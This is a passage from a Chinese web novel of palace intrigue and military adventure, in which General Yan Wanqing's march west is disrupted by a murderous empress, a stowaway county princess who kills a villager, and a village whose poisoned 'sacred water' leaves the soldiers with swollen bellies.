燕晚清听完脸上都是杀意。 常千户赶紧安抚道:“昨夜七皇子没睡好,一直念叨着马车的事情,这附近有个村子,想来他应该是过去置办马车了。” “行军打仗本就是辛苦的事情,他图他的安逸,大可不必跟着本帅的步伐。”燕晚清素手一挥:“吃完了就赶紧继续赶路。” “不等七皇子殿下了吗?”常千户瞠目结舌。 “等什么等。”燕晚清蹙眉:“本帅领着骑兵先行便是讲究的一个快字,这中途还离队去搞辆马车,是打仗还是在休沐?” 常千户赶紧点头:“燕帅说的是。” “后面的步兵很快就到了,七皇子殿下既然喜欢安逸的,那就一切从缓,安排人留下来传达指令,其他人继续跟着本帅。” …… “所以她就走了?”萧鸿深掀开车帘,咬牙切齿的说道。 被留下来的骑兵胆战心惊的点头。 萧鸿深气得半死:“好,好啊!好你个燕晚清!” 你真该死! 第一百七十八章 狂风大作,乌云压境 皇宫内。 皇后张岚依坐在窗户边上,手上是一把匕首。 纤细的手把玩着匕首,将一旁的嬷嬷给吓得不轻。 “小祖宗,怎的又将这些东西给拿了出来。”嬷嬷赶紧上前。 张岚依将匕首抛在空中,又随手接住:“没有开刃。” 听到是没有开刃,嬷嬷松了一口气。 张岚依勾了勾唇:“本宫这里没有开刃的东西太多了……”她红唇又张合,声音极其细微。 嬷嬷没有听清楚,凑上前:“皇后娘娘刚刚说什么了?奴婢没有听清楚。” “本宫说,没有开刃的匕首,一样是能够杀人的。”话音落下,只见张岚依猛地勾住了嬷嬷的脖子,然后用匕首狠狠的刺穿了她的脖颈,鲜血瞬间在她的面颊上炸裂开来,血花甚至有些落在了她微翘的睫毛上。 张岚依眨了眨眼睛,死死的抱住怀中挣扎求生的嬷嬷,直至她了无生息,才缓缓松开了手。 嬷嬷轰然倒在了地上。 匕首从她的脖子上掉落出来,露出脖颈处一道汩汩往外流血的伤口,极其可怖。 “好久都没有亲自杀过人了。”张岚依站起身,长长的呼出了一口气:“呼——真累。” 门外听见声音的宫女疾步走了进来,看到了这副情景。 满地都是鲜血,平日里温柔的皇后娘娘此刻正浑身是血的朝着自己张开了手掌,她笑的如同地狱里上来勾魂的使者。 “去,打水,本宫要再沐个浴。” 宫女双脚瘫软在地上,声音在喉咙里打转,就是发不出来。 见状。 张岚依歪了歪脑袋,她冲着宫女笑道:“你是新来的。” 她将掌心里的血随便擦在了裙衫上,无奈的高声冲着外面说道:“来福进来。” 被喊作来福的是个三十好几的宫女,因为跟在皇后身边的时间比较长,所以被各位宫女尊称一声嬷嬷。 等到来福进来,如果李呈媛在的话,会一眼认出,这就是当初她求着把她的名字加上去的那位嬷嬷。 来福走进来看到了这副场景,先是一愣,随即一脚踹在了地上宫女的身上:“起来。” 然后她紧接着跪在了地上。 “以后这种清理门户的事情,娘娘吩咐一声便是,何须自己动手呢。”来福语气十分镇定。 张岚依叹了一口气:“没办法,太闷了,可能是要下暴雨了,这心里总是不痛快,本想留着这细作再活两天,可是谁叫天突然要下暴雨了呢。” 她稀疏平常的说着天气,又说着人命。 宫女面色苍白如纸,像个不知所措的麻雀,跪在地上,渺小又卑微,充满了对于外面世界的恐惧。 来福一只手直接拧着她的腰肢细肉:“快出去喊人换水,皇后娘娘要沐浴更衣了。” 宫女被掐的疼,一下子醒了过来,连滚带爬的出了殿门。 张岚依扯了扯唇角;“真是个可怜见的。” “让娘娘见笑了,今年的新人心态都不是很好。”来福从地上起身慢慢说道:“娘娘去浴池那边吧,这里就交给奴才。” 张岚依伸了个懒腰,也没耽搁,十分放松的将这件事情抛之脑后。 她真就是没忍住。 这位细作是朝堂之中的某个大臣塞进来的,主要是为了替某个皇子盯着自己的一举一动。 呆在自己身边的时间大概是……唔,三年了吧。 张岚依有些可惜的咋舌,平日里这位嬷嬷说话温声细语也中听,这事还是怪自己太年轻没有憋得住。 既然已经杀了,那个大人也就一起吧。 斩草不除根,春风吹又生。 此时窗外天色发黄,狂风大作,乌云压境,雷霆暴雨在即。 她心中闪过了不安。 希望自己的错觉,那个小狼崽子可千万不能出事啊。 算算日子,她也快要到西境了。 此时一处官道上。 燕晚清一骑绝尘策马走在最前面,常千户紧跟其后。 “再快些,前面就是村子,暴雨就要来了,进村子避雨!”常千户得令,冲着后面的骑兵传达命令。 燕晚清是最先进入村子的。 她骑在马上,朝着村子里面走着。 村子十分的静谧空旷,茅草屋很多都是大门紧闭,天空到处都是飘散的茅草还有各式各样的布匹破料,村子看起来不是很富裕。 燕晚清没有直接去叨扰村民,而是直接找了一处破庙。 “这里似乎之前是个山神庙。”常千户翻身下马,在庙里打量着,顺便将蜡烛用火折子点燃,将昏暗的山神庙点亮。 燕晚清点了点头,目光落在后面不断聚集的骑兵:“只有此处空间够大,今日大家将就一晚,明日进城好好修整。”山神庙后面是一座山,有很多的山洞,大大小小怕是有上百个。 她让常千户拿过来图纸,在路线图上面仔细的观察。 “百里路了。”常千户叹了一口气:“紧赶慢赶,总算是在月余的时间赶到了。” 骑兵尚且如此,那些步兵又该如何。 燕晚清点了点头,她给自己的马喂了粮草,然后用心的给它刷着鬃毛。 一路上她跑死了不少马,这一匹却是坚持的时间最长的。 她刷的很认真,巴掌大的脸上都是疲惫,可是神情却异常的专注。 常千户见状心中对于燕晚清更加佩服了。 这一个月的时间,多少骑兵都倒下了,可是燕帅却坚持了下来,她就像是一棵不倒松,永远的坚守在最前面,每当有人看不清楚方向的时候,就能看见燕帅的身影。 实在是太了不起了。 不愧是燕家人。 常千户心中佩服的紧,他将山神雕塑脚下的位置收拾了一块出来:“燕帅,这里。” “把门抵住,今夜这风一时半会儿是停不下来了。”燕晚清刷好马,又去吩咐其他人,然后才朝着常千户走了过去。 等坐下来的时候,燕晚清才感觉到整条脊梁骨都是发麻的。 累,太累了。 可是她不能显露于人前。 “燕帅先休憩一会儿吧,属下去准备吃食。” 燕晚清看着常千户离开,心里盘算着现在铁骑已经只剩下了两千不到,留下了五百带着步兵,又留下了五百保护萧鸿深,中途还有不少人生病受伤的。 此刻不足两千的铁骑都在身后这座山神庙的山洞里。 这样的兵力对上马背上的流民,还是危险的。 就在这时,一个士兵抓着一个瘦削的身影走上前来:“燕帅,抓到了一个鬼鬼祟祟的细作!” 第一百七十九章 送我走,我就作 “什么细作?!”那娇小的人影被丢在地上,立刻爬起来大声反驳道:“你是细作,你全家都是细作!” 燕晚清一听这声音,太阳穴都跟着跳了一下。 果然等到那人影转过身来,证实了她的猜想。 “安平郡主,不现在应该称你为燕帅了吧。”那人影四下打量着周围,理所当然的问道:“七皇子殿下呢?怎么一路上都没有看到他。” 是李呈媛。 燕晚清上下打量了一下面前这个黑黢黢,身上穿着笨重铠甲的李呈媛,有些意外的挑眉:“你怎么在这里?” 她以为这位顶多是跟在后面的步兵那里,但是没有想到李呈媛还有点本事,竟然一路跟着自己到了这里。 属实有些出乎意料。 不过…… “常千户,去点一下人数,看看她顶替的是谁的位置。”燕晚清抬手一挥,常千户立刻便去重新清点人数。 李呈媛见状冷笑道:“问你话呢,七皇子殿下去哪儿了。” “你既然是一路跟着,不知道中途你的七皇子殿下为了图安逸,离开了队伍安置马车去了?”燕晚清似笑非笑的说道。 李呈媛哪里知道这些。 每天的骑行下来,她都累的跟狗一样。 就连睡觉都能够感受到在马背上颠簸的晃动,更何况这队伍几千人,她根本没有机会骑马到前面去,再加上她担心被七皇子送回去,一路上也有刻意的去避开,所以根本就不知道这些。 听到七皇子还没有到的消息,李呈媛紧紧的蹙起了眉头。 “你身为统帅,竟然让七皇子殿下单独离开,难道你就不担心他出什么事情吗?!要是出了事情,你担当得起这个罪责么?!陛下到时候是不会放过你的。” 刚好,燕晚清也没有打算放过他。 此刻众目睽睽之下,她计上心头。 慢条斯理的看着李呈媛突然说道:“本帅已经派了五百骑兵贴身保护七皇子殿下,自然不会让他出一丁点纰漏的,只是眼下你又为何会出现在这里?” “我?”李呈媛一下子熄了火,她私自从军本就是大罪,今夜只不过是偷偷的想看看七皇子在哪里,所以才会出来走了一圈,谁知道就被人给抓了过来。 眼下她心中怨恨极了那个抓她的人。 “瑶池县主,你还是交代清楚吧,不然本帅只能那你当做细作处理了。”燕晚清沉声说道。 李呈媛面色讪讪,她一下子收敛了嚣张的气焰。 “本县主,只是……” 还不等她说完,便听见原本还昏昏欲睡的士兵们纷纷睁开了双眼。 “瑶池县主……女子?!” “什么,有女人?!在哪里!” 这些男子长年累月的在军营里面,哪里能够见到什么女子,一听说行军路上来了女子,纷纷兴奋起来,不到一会儿的功夫,整个山神庙里便聚集了上百个将士。 倘若不是外面狂风大作,相信此刻门外也应该挤满了人。 只是众人看着李呈媛瘦瘦小小的一只还黑黢黢的,都很诧异。 “那瑶池县主不是京都第一才女么?据说生的貌美天仙,怎么是个小煤球啊。” “乔装打扮懂不懂?女人最重要是要看身材,看身段。” “这也太瘦了,俺喜欢胖的……” 话语越发的不堪入耳,嘈嘈切切的,让李呈媛的面色越发的难堪起来。 燕晚清听到声音越来越大,咳嗽了一声。 瞬间整个山神庙鸦雀无声。 在没有一个人敢议论了。 “瑶池县主,请继续。”燕晚清礼貌性伸出手。 李呈媛脸色更加不好了。 这个燕晚清分明是想要看自己出丑,不然怎么会纵容将士对她评头论足! 简直是岂有此理! 刚刚那一瞬间,被这么多男人的目光盯上,她真的是毛骨悚然。 李呈媛将这一切都怪罪到了燕晚清身上,双眼冒火的看着燕晚清说道。 “本县主若是说是出来游玩,顺路,燕帅信么?” 燕晚清冷笑一声:“县主这是打算胡搅蛮缠了。” “反正本县主是过来找七皇子殿下的,眼下殿下不在,那本县主只能多叨扰几日,在这里等七皇子了。”李呈媛直接一副死猪不怕开水烫的样子说道。 她将自己要藏匿于军中,然后要找个机会一鸣惊人的美梦已经抛之脑后。 现在只想利用一点自己身份的特权,死皮赖脸呆在这里。 燕晚清被她的厚颜无耻给气笑了。 “女子在军中多有不便,瑶池县主不要让本帅为难。” “燕帅说什么呢?难道燕帅不是女子么?你可以,为何本县主不行?!这是何道理!”李呈媛不服气的说道。 旁边的常千户听不下去了:“燕帅那是陛下亲封的大帅,跟瑶池县主是不一样的。” “哦?那燕帅不是女子?”李呈媛看说话的是个长得还可以的男子,语气稍微放缓了一点,不过她也没有丝毫要退让的意思,谁叫这男的要给燕晚清说话呢。 常千户脸色通红,他听人说着瑶池县主文采斐然,通情达理,怎么今日一见是个十足厚脸皮的女子。 传闻害他啊! 常千户打算今天晚上就找个没人的地方,把那从小贩手里一两银子买过来的瑶池县主画像烧了。 “简直是胡闹!”常千户义愤填膺:“属下现在就派人将瑶池县主送回去。” “大胆!本县主不走!”李呈媛一听要把她送回去,立刻冷下脸来,她冲着燕晚清厉声说道:“你敢送本县主回去,本县主回去之后一定要去陛下面前告你!” 燕晚清沉着脸没吭声,旁边的常千户已然是被面前这个女子的厚脸皮给惊到了。 “县主私自随军,这件事情陛下本身就要怪罪到燕帅身上,因为你的一己私利,现在你竟然还要去陛下面前告状,简直是闻所未闻。” “本县主跟你家主子说话,轮得到你一条狗在这里乱叫么!”李呈媛禁不起任何人的批评。 燕晚清听到她这话,眼里闪过一丝杀意。 别的没什么,她燕晚清只是有点护犊子。 常千户再如何,那是她的人是她的兵。 轮不到李呈媛在这里指手画脚。 李呈媛还以为燕晚清露了怯,她轻哼一声,得意的说道:“反正本县主不走,要在这里等七皇子殿下,你若是强行让本县主回去了,这路途遥远的,外面此刻还狂风大作,暴雨说不定什么时候就下来了,本县主要是出现了什么意外,那可真就是燕帅的过错了。” 言下之意就是,燕晚清你要是强行送我走,路上我就可劲儿作妖。 燕晚清自然是听懂了。 旁边的常千户此刻撸起了袖子,刚要上前,就听见燕晚清说道:“派几个人去和村民沟通一下,晚上给瑶池县主安排一处住处。” 常千户抿着唇,他狠狠的看了一眼李呈媛,然后带了几个人出门去了。 李呈媛见状更加得意,她冲着常千户的背影挥舞着拳头。 “不过就是一条狗,主子让你干什么你就得干什么,哪里有那么多废话。” 燕晚清听着她的话,眼神落在了那纤细的脖颈上。 李呈媛只觉得脖子凉飕飕的,她缩了缩脖子,转过头看向燕晚清。 “你晚上多派几个人,本县主要是出现意外,你可是会吃不了兜着走的。” 她已经一个多月没有好好休息了。 今天晚上说什么她都要美美的睡上一觉。 第一百八十章 见好就收,仙人吃桃图 常千户回来的时候带回来了一个村民。 “这位就是这个村子的村长,姓白。” 白村长上了年纪,脸上都是丘壑,可是却有一双亮晶晶的眼睛,他跟人对视的时候,显得特别的真诚。 燕晚清冲着白村长点了点头:“相信村长已经了解了情况,不知道村子里可还有空出来的房间,能够让女眷住宿一晚。” 白村长还是头一次听说行军打仗边上还要带着个女眷的,但一听说是大渭的军队,也有些不见怪了。 他点了点头,一副了然于心的样子:“俺们都懂的,俺们之前那个城主也是这个样子,走到哪里都带着姑娘,他的那几个姑娘一个个都长得跟天仙似的,狐狸精儿似的,美的勒。” “城主?”燕晚清重复着这两个字:“他不是被倭寇杀了么。” “俺说的是之前。”白村长笑着说道。 他看了看周围:“村子里的空房间不是很多,有一间是之前给城主收拾出来的,不知道各位军爷介不介意。” 李呈媛在一旁听着想要拒绝,死人的房子她可不想住。 但是那边燕晚清已经答应下来:“有的住就不错了,自然是不敢嫌弃的。” 李呈媛咬着嘴唇,眼里都是不满。 不过这次她没有再去当面驳斥燕晚清,要是真惹急了,她相信燕晚清做得出来把她连夜送回去的举动。 李呈媛见好就收。 白村长看了一圈:“是哪位贵客?” “是我。”李呈媛走了出来。 白村长上下打量了一下李呈媛,又看了看她身后站着的燕晚清。 眼里的比较,让李呈媛瞬间不舒服了。 “村长,前面带路吧。”李呈媛说道。 白村长点了点头,转过身去的时候,没有人注意到他那双真诚的双眼像是动物一样突然闪动了瞳孔。 李呈媛到了住处,外面只跟着常千户还有其他三名将士。 她推开门便是一股子尘土的味道扑面而来,赶紧用手捂住了鼻子。 因为今日大风,屋内的设施上面已经能够清晰可见厚厚的一层尘土了。 换做是之前,她是决计不能住的。 但是今夜就将就一晚上吧。 往后她想要继续跟着队伍,势必不能和燕晚清对着干。 李呈媛将椅子上的灰尘掸了掸,坐了下来,屋外站着两个将士,常千户已经不见了,应该是回去和燕晚清汇报了。 “你们两个进来,帮我打扫一下,这个样子没法住人。”李呈媛对着外面的人说道,自己则是端着个盆去外面打了一盆水,然后开始洗脸。 等到两个人打扫完毕,李呈媛也洗完脸,露出了瓷白的小脸,将站在屋内的士兵都给闪瞎了眼。 “看什么呢?都傻站着。”李呈媛明知故问的笑道。 将两个士兵笑的黑黢黢的脸上都开始发红,她才忍住了笑意:“可以了,你们出去站着吧,本县主要休息了,晚上可千万要保护好我啊。” 见两个人忙不迭的点头出去了,李呈媛又忍不住笑完了腰。 被褥上面都是发霉的味道,李呈媛是不会用的。 她打算趴在案几上将就一晚上。 好在天气很炎热,不需要盖被子。 很快她便进入了梦想。 梦里她还在马匹上吃力的跟着军队,谁能够想到她这个现代连马都只是在动物园摸过的人,在古代竟然能够纵马驰骋几千公里,还是连续在马上骑了一个多月。 李呈媛觉得自己特别的厉害,睡着的她勾唇笑了笑,然后进入了更加深沉的睡眠中。 外面的暴雨终于倾盆而下,驱散了空气中的沉闷和燥热。 另外一边燕晚清放下了图纸,用手锤了锤自己的肩颈,忍不住打了个哈欠。 常千户眼神闪了闪,上前:“燕帅,可是要休憩了?” 燕晚清点了点头,前些时日可能还感觉不到,今夜这雨一下下来,自己身上之前因为千机损害的经脉和骨骼,都开始发酸发疼。 不是很疼,但是耐不住一阵一阵的折磨。 所以燕晚清今天感觉颇为不舒适。 常千户看着自家大帅清绝的面容上,终于透露出来的疲惫,心中觉得有些心疼。 他说道:“燕帅,刚刚白村长走的时候,还交给了属下一把钥匙。” 他把钥匙拿了出来:“这里人太多了,燕帅没法睡,不如就去那边睡吧。” 燕晚清看着他手里的钥匙,知道这是常千户的心意,本想要拒绝,可是待会儿又得和常千户来回折腾推拉。 想到这里就觉得很麻烦。 常千户哪里都好,都十分细致。 可是这来回推拉的本事实在是让人疲惫。 拒绝他得来回搞个十几次,这谁受得了。 燕晚清环顾四下,将士们已经睡得七七八八,少数几个坐在篝火旁,喝着茶水,也算是休憩了。 “既然是你的心意,那本帅就不再拒绝了。”燕晚清收了钥匙。 常千户心中一喜,赶紧上前带路:“燕帅,这边。” 他撑起了伞,带着燕晚清走向了住处。 这只能说是个山洞和茅草屋合成的房子,靠近军队,屋内设施也十分的简陋,和之前那个李呈媛的根本不能比。 但胜在是独处。 燕晚清完全不挑剔,进屋之后,她环顾四周之后,便让常千户回去了。 石床上铺着松软的茅草,她直接躺下便闭上了眼睛,长剑放在了手边上。 只不过片刻,她又睁开了眼睛。 目光直勾勾的落在了斜对面的墙上的一幅画上面。 这是一副稀疏平常的仙人吃桃的图。 可是燕晚清却感觉说不清楚的邪气。 她看了一会儿,屋内昏暗,看不出什么名堂。 兴许是自己想多了。 想到这里,燕晚清又重新闭上了双眼。 等到屋内响起沉稳有节奏的呼吸声之后,那副仙人吃桃的画上,仙人的双眼处突然灵动了起来。 那双眼直勾勾的盯着石床上的燕晚清。 眼里有贪婪,但是更多的却是忌惮。 就这么看了一会儿之后,仙人的双眼又恢复了之前的平常。 好像之前的一切都是幻觉一般。 一夜风雨入梦来,等到天色大亮的时候,暴雨丝毫不见停。 “这种情况下赶路很危险。”燕晚清没辙,只能屈服于老天爷:“既然是这样,那便继续休息,吩咐下去,雨停便继续赶路。” 她想到什么,问常千户:“瑶池县主呢?” 常千户撇撇嘴:“还没睡醒。” “嗯,不急,反正现在不赶路。”燕晚清点点头,她也打算回到那个小石屋去,趁着这点功夫修炼一下功法。 只是她没有想到,等自己出来的时候,外面已然变了一番模样。 李呈媛竟然被村民给抓了起来。 第一百八十一章 闯下大祸,惹怒村民 燕晚清过去的时候,只看见李呈媛被五花八绑的,嘴里也塞着布条,哭的眼泪鼻涕满脸流。 昨天看不到的村民,今天好像全部都出来了。 自己的士兵将他们团团围住,双方都在僵持,气氛闹得十分不融洽。 “发生什么事情了。”燕晚清走过去沉声问道。 常千户一脸铁青,本来俊秀的面容上此刻都是愤怒:“这群人说要绑着瑶池县主祭山神。” “昨天不还是好好的,怎么这么突然。”燕晚清觉得有些不能理解,她皱着眉头说道:“村长呢?白村长可在?” 白村长从人群后方走了出来,此刻的他不如昨晚见到的那般面色祥和了,双眼也充斥着怒火。 “这件事没有的商量,这位贵客惹怒了山神,只有把她祭祀了,才能平息山神的怒火,山神才不会怪罪到我们村民的身上。” “大家先平息一下怒火。”燕晚清说道:“事情的前因后果,本帅还不了解。” 李呈媛见燕晚清还在和村长说话,气得眼泪流的更凶了:“呜呜呜!” 这有什么好说的,她刚洗完澡,这群人便冲进她的屋子,把她给绑走了。 这群土匪! 刁民! 燕晚清这个怂包,和这群刁民讲什么道理,手底下白白握着这么多将士! 气死她了! 李呈媛越想越气,疯狂挣扎起来。 她本身就是有点功夫在身上的,束缚她的又是一些女眷,所以不免又多了一些为了压制住她的举动闹出来的动静。 直到看到一个村民用手去扯李呈媛的头发,燕晚清微微蹙起了眉头。 “住手!”她厉声呵斥。 这李呈媛再怎么不是个东西,也是皇帝亲封的瑶池县主,代表的是大渭的脸面。 李呈媛见燕晚清终于开口了,一个用力,将自己身后的村民撞倒,然后头也不回的朝着燕晚清这边跑了过来。 等站在燕晚清身边了,她才松了一口气。 常千户赶紧将她身上的绳子给解开了。 李呈媛扯下嘴里布条的第一个动作便是,直接抢了常千户腰上的佩剑,她猛地拔出了长剑冲着村民骂道:“穷山僻壤出刁民,你们这群吃了熊心豹子胆的贱种们,胆敢这样对待本县主!” 她面颊上还有刚刚因为恐惧留下来的泪水,此刻手持着长剑,双眼一狠,抬手间便直接给了追过来那女村民一剑,直接刺中了那村民的胸口,长剑拔出来的时候,血液在空中迸溅出来,些许溅到了李呈媛的脸上。 “不可——”发生的实在是太快了,谁也没有想到这个李呈媛胆子大到敢直接杀人。 燕晚清喊出声的时候,为时已晚。 白村长一把将村民抱在了怀中:“宝娟!” 被喊作宝娟的女村民,她的嘴里不断涌出鲜血,目光直勾勾的落在了李呈媛身上,手就这么指着她。 李呈媛白着一张脸,捏紧了手里的长剑,又要上前。 燕晚清厉声呵斥:“常千户,卸了她的武器。” 刚刚因为事发突然,所以常千户没有来得及反应,眼下赶紧去拿李呈媛手里的佩剑。 李呈媛却挥舞着佩剑,红着眼不允许任何人的靠近。 “本县主现在命令里面,把这里的村民全部杀了!” 她环顾着众将士尖声说道。 燕晚清此刻的脸已经乌云密布,她抿着唇冷冷的目光落在李呈媛身上:“再说一次,放下剑。” 李呈媛将剑捏的紧紧的,不松手。 只有这把剑握在手里,她才感觉到踏实。 燕晚清素手一翻,李呈媛被迫朝着她的方向而去,紧接着手腕一痛,长剑已经被燕晚清夺取,丢给了常千户。 没了长剑的李呈媛情绪陷入到了崩溃,她红着眼看着燕晚清:“你和他们是一伙儿的,你巴不得我死对不对!可是我死了,陛下和七皇子殿下都不会放过你的,我要是死了,会有人将你们燕家用火石炸掉,让你的姊妹们你的母亲全部去底下陪你!” “你可知道你在说什么?”李呈媛的话触及到了燕晚清的逆鳞。 她扫向李呈媛的时候,已经目光不善了。 看着她眼下痴痴傻傻,疯疯癫癫的状态,燕晚清不确定这话到底有几分真实,但是李呈媛一定是听到了什么,才能说出这样的话。 不是皇帝便是七皇子。 燕晚清压抑着心中的怒火。 此刻白村长突然哀嚎一声,他怀中的宝娟被刺中了胸口,回天乏术,此刻已经去了。 村民的怒火被带到了最**,他们手里拿着农具,步步逼近李呈媛。 白村长双目赤红,死死的盯着燕晚清说道。 “把她交出来,就放你们走,不然你们就都得留下来祭祀山神!” 这话已经是威胁了。 李呈媛生怕燕晚清真的将自己丢下了,赶紧躲在她的身后。 “本帅最后说一遍,将事情的来龙去脉交代清楚,不然本帅也不是吃素的,她是大渭的瑶池县主,还是七皇子的的未婚妻,身份非同一般,你们说留下便留下,那本帅要如何跟陛下交代,跟七皇子交代?!” 白村长双手攥拳,他身后的壮年村民已经有些按捺不住了。 “事情在你来之前已经说了很多次,但是你们都没有当回事,俺再说最后一次。”白村长不愧是能够当村长的人,眼下压制住自己的怒气,他阴沉的目光落在燕晚清身上,继续说道:“今天这个女子不顾劝阻,强行进入了我们的仙池里洗澡,脏了我们祭祀山神的仙水——” “封建迷信!天然的水池,怎么就成了你们的仙池,还想拿本县主的性命祭祀,想都不要想!”李呈媛在燕晚清身后恶狠狠的冲着白村长说道。 眼见着村民们又要暴动,燕晚清冷着脸:“李呈媛你再插一句嘴,今日之事,我便不管了。” 李呈媛瞬间收声。 此刻白村长又继续说道:“本来只需要斋戒三日在山神洞里呆着就好,可是眼下她杀了俺的宝娟,俺要她血债血偿!什么京都的贵客,俺什么都不知道,俺只知道宝娟死了!人死偿命,天经地义,这位统领,还是把那女子交出来吧,否则今日你们谁都走不了。” 燕晚清一直在四处观察,她人多势众,各个都是壮年男子,这个村长为何如此笃定自己能够赢得了他们。 直到她看到常千户和诸位将士的脸色开始发青,她才知道这个白村长的底气在哪里。 “你们昨日都喝了山神的仙水,这水若是没有特质的解药,那可是要受不了苦的,别说是再去前线打仗了,往后能不能传宗接代都是个问题。”白村长阴恻恻的说道:“识时务者为俊杰,赶紧将那无理的女子交出来!” 第一百八十二章 杀一人,杀千人 燕晚清运了一下内功,发现自己并没有什么异样。 她昨日也喝了常千户烧的热水,为何众人都已经有了反应,而她却没什么感觉呢。 就在燕晚清不解的时候,白村长又开口了。 “奉劝燕帅不要轻举妄动,虽然这仙水只针对男子,女子并没有什么作用,但是我们这么多人在这里,你还是识时务比较好。” 见燕晚清不再吭声说话,李呈媛急了。 她死死的抓着燕晚清的衣服:“你不能把我交出去,他们要杀我!” 这一刻她是真的害怕了。 两千将士的性命和她李呈媛一条性命相比,肯定是前者重。 燕晚清又是那种心狠手辣的人,百分之一百会把自己交出去换解药的。 李呈媛心中着急万分,必须得再想个什么办法,让燕晚清不能把自己交出去。 就在燕晚清要开口的瞬间,她猛地拉住:“本县主怀孕了!七皇子的骨肉!” 燕晚清的脸色听完果然更加阴沉了。 她是打算同意了白村长的建议,用李呈媛去换诸位将士的性命。 也没有打算真的将她抛下去祭祀山神。 原本想着等将士们都平安离开之后,她再带着人回来救李呈媛的,但是没有想到这个蠢货竟然当着白村长的面说自己怀了皇室的骨肉。 这个蠢货,真的有办法将所有的事情都变的复杂化的本事。 燕晚清真想一掌下去,将她劈死了事。 “你要保护我,这是七皇子的嫡长子,我若是有任何意外,他定然不会放过你的。”李呈媛死死的抓着燕晚清的衣服,咬着牙威胁道:“还有你们燕家人,他也不会放过的。” 燕晚清眸色晦涩,她看了看周围将士们的脸色,眼下大部分兵力都还在山洞里,这里也就几十人而已,都是常千户带过来的。 倘若她上手击退村民,带着所有人全身而退也不是不可能,只是这解药…… 但若是真的把李呈媛交出去,她肚子的孩子是真是假未可知,倘若是真的,孩子没保住的话…… 燕晚清脑海中突然闪过自己失去的那个孩子,心思微沉。 “罢了。”她叹了一口气,上手直接搂住了李呈媛的腰肢,与此同时大声喊道:“常千户,撤退!” 常千户不愧是跟在燕晚清身边一个多月的男人,理解能力非常透彻。 只是一声喊,他便直接喊着自己的手下退出山洞去。 “接着!”燕晚清将怀中的李呈媛抛给了外面的常千户,自己拿着长剑挡住了所有的村民。 李呈媛惊魂甫定,双脚终于落地,便直接催促着常千户赶紧离开。 这里她一点都不想呆下去了,村民们都想要她的性命。 常千户捂着腹部,疼痛难忍,面颊上的汗水止不住的往下淌。 此时他的目光落在山洞里面的燕晚清身上。 她以一人之力挡住了所有村民的攻势。 只是今日她没有拔剑。 一直再用剑鞘回击,没有伤害到任何一个人的性命,不过只是这样还不行,村民人数众多,燕晚清这样下去一定会体力消耗殆尽,最终吃大亏的。 “你们几个护送县主赶紧回去。”常千户说道。 “常大哥你呢?”他手里的兵问道。 常千户捏紧了手里的佩剑:“本千户要去助燕帅一臂之力!” 说着他头也不回的冲了进去,剩下的人不敢耽搁,赶紧护送着李呈媛离开了。 身后的燕晚清有了常千户的帮忙,很快二人便退出了山洞,将洞口用石头给堵了起来。 “这只能解燃眉之急。”燕晚清喘着气说道:“还是得去找白村长好好谈谈,你现在感觉如何?” “腹部胀痛,疼痛难忍,一阵一阵的。”常千户坐在石头上捂着肚子说道。 燕晚清用手背擦了擦汗水:“你这症状和女人生孩子似的。” “燕帅可不要拿属下开玩笑了,喝了几口水而已,怎么可能变成女人生孩子呢。”常千户心里不以为意:“这村民也是故意夸大其词,估计只是拉几天肚子就能好。” “如果是这样当然最好,怕就怕这水真的有问题。”燕晚清回想当时白村长说话时候的底气,就感觉对方不是在撒谎。 常千户捂着肚子十分辛苦的从地上爬起来,嘴里嘟囔着:“怎么感觉肚子好像大了一点。” 燕晚清没听见这话,二人回到山洞的时候,才瞠目结舌。 山神庙里的将士们捂着肚子纷纷躺在地上,有的人的肚子宛若怀胎五六月那般硕大。 燕晚清皱着眉头开始运功一个一个山洞看过去,大部分将士都是这种状态,少数几个还算正常,但都是昨晚没有喝水的。 “白村长果然没有夸大其词。”燕晚清心思微沉说道。 常千户咬牙拖着肚子走到她身边:“燕帅,这可怎么办啊。” 将士们都变成了大肚婆,这件事情说出去要多离谱就有多离谱。 “男人生子这件事情闻所未闻,应该只是中毒的现象,并不会真的生下孩子,再观察几日,本帅想想办法,现在最重要的是让村民的怒火平息。”燕晚清实在没有想到事情会变成这个样子。 属实运筹如她,今日发生的事情也是超出了所料。 “李呈媛现在在哪里?”燕晚清想到了这个罪魁祸首。 常千户一提起这个女的,也顾不得自己肚子疼了:“她一回来就自己找了个山洞呆着了,还把里面的兄弟们全部赶了出去,现在也不知道她在干什么。” “找人把她看住了。” 常千户想了想:“燕帅是怕她跑了?” 燕晚清轻哼一声:“你觉得这种事她干不出来吗?”当着村民的面就敢杀人的女子,什么事情干不出来? 这件事情说到底还是她李呈媛不尊重村民的文化,非要在人家仙池里洗澡闹出去的。 本来只是沐浴斋戒三日就可以,可是她非要杀一条人命。 闹到现在双方都不死不休的僵持局面。 这一僵持,就僵持了足足五日有余。 此时燕晚清入眼遍地都是十月怀胎的大肚婆。 她多次下山找白村长商谈,都被对方给堵了回来。 他们只接受李呈媛一命偿一命的和解方案。 再这样下去,将士们都会爆体而亡。 不能再耽误下去了。 燕晚清抄起自己的长剑,在常千户担忧的目光中直接朝着李呈媛的住处走了去。 这祸是她闯出来的,就应该让她自己解决,而不是整日躲在山洞里,当一个缩头乌龟! 燕晚清站在李呈媛的山洞门口,对着她冷声说道。 “出来!” 李呈媛锁在角落里,见燕晚清来了,她站了起来。 “你来干什么?” 燕晚清走了进来:“你自己闯出来的祸事,不打算解决么?” “就算没有我,你们也喝了那水,村民也会用这件事情要挟你们。”李呈媛嘴硬的说道。 “为什么要杀人。”这是燕晚清不能理解的事情。 被质问的李呈媛一下子红了眼:“你是没有看见我被那贱人摁在地上的时候,她让我吃泥!” “咽不下这口气,所以众目睽睽之下选择杀人么?”实在是有够离谱的。 李呈媛被燕晚清的神情激怒了。 她抿着唇,双手攥得很紧:“我乃堂堂瑶池县主,杀个粗鄙村民而已,有什么问题?!更何况她以下犯上,本就是该死的,本县主只不过是做了权限之内的事情。” “你的权限来自于谁?”燕晚清突然问道。 李呈媛刚要开口,燕晚清又打断了她的话:“你是想说陛下对吧,可是没有大渭子民,又怎么出现大渭皇帝,没有这万千将士,何来大渭疆土?又何来你那引以为傲的权势?” “眼下外面的将士都将爆体而亡,你可知这件事情带来的后果?” “西部战事若是不能平息,下次倭寇进宫的地方距离皇城也不过百里!届时你享受的那些荣耀,都会化为尘土。” “所以你打算让我去死是吗!”李呈媛倔强着嘶吼着,她咬着牙冲着燕晚清喊道:“说的那么大义凌然,无非是想要本县主的命,燕晚清你怎么好意思的!一群人的性命是命,本县主一人的命便不是命了吗!” 第一百八十三章 燕家不会覆灭,她不许 李呈媛根本不在乎别人。 